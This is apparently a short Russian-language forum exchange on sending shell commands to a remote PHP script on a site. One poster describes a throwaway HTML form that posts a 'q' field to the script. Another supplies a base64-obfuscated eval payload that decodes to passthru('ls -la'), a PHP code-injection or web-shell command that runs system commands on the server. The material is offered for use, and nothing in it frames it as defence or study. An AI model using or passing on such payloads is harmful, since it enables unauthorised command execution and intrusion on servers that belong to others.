Короче создаешь форму примерно такую HTML: <form action="http://site.ru/asdasdasd.php" method="post"><input type="text" name="q"><input type="submit" value="Fuck"></form> Сохраняешь под именем типа 1.html открываешь вбиваешь комманду и сабмитишь. Вот только скрипт может не принимать пост.
Наркамы. Делай так: q=eval(base64_decode(cGFzc3RocnUoJ2xzIC1sYScpOw)); cGFzc3RocnUoJ2xzIC1sYScpOw = passthru('ls -la');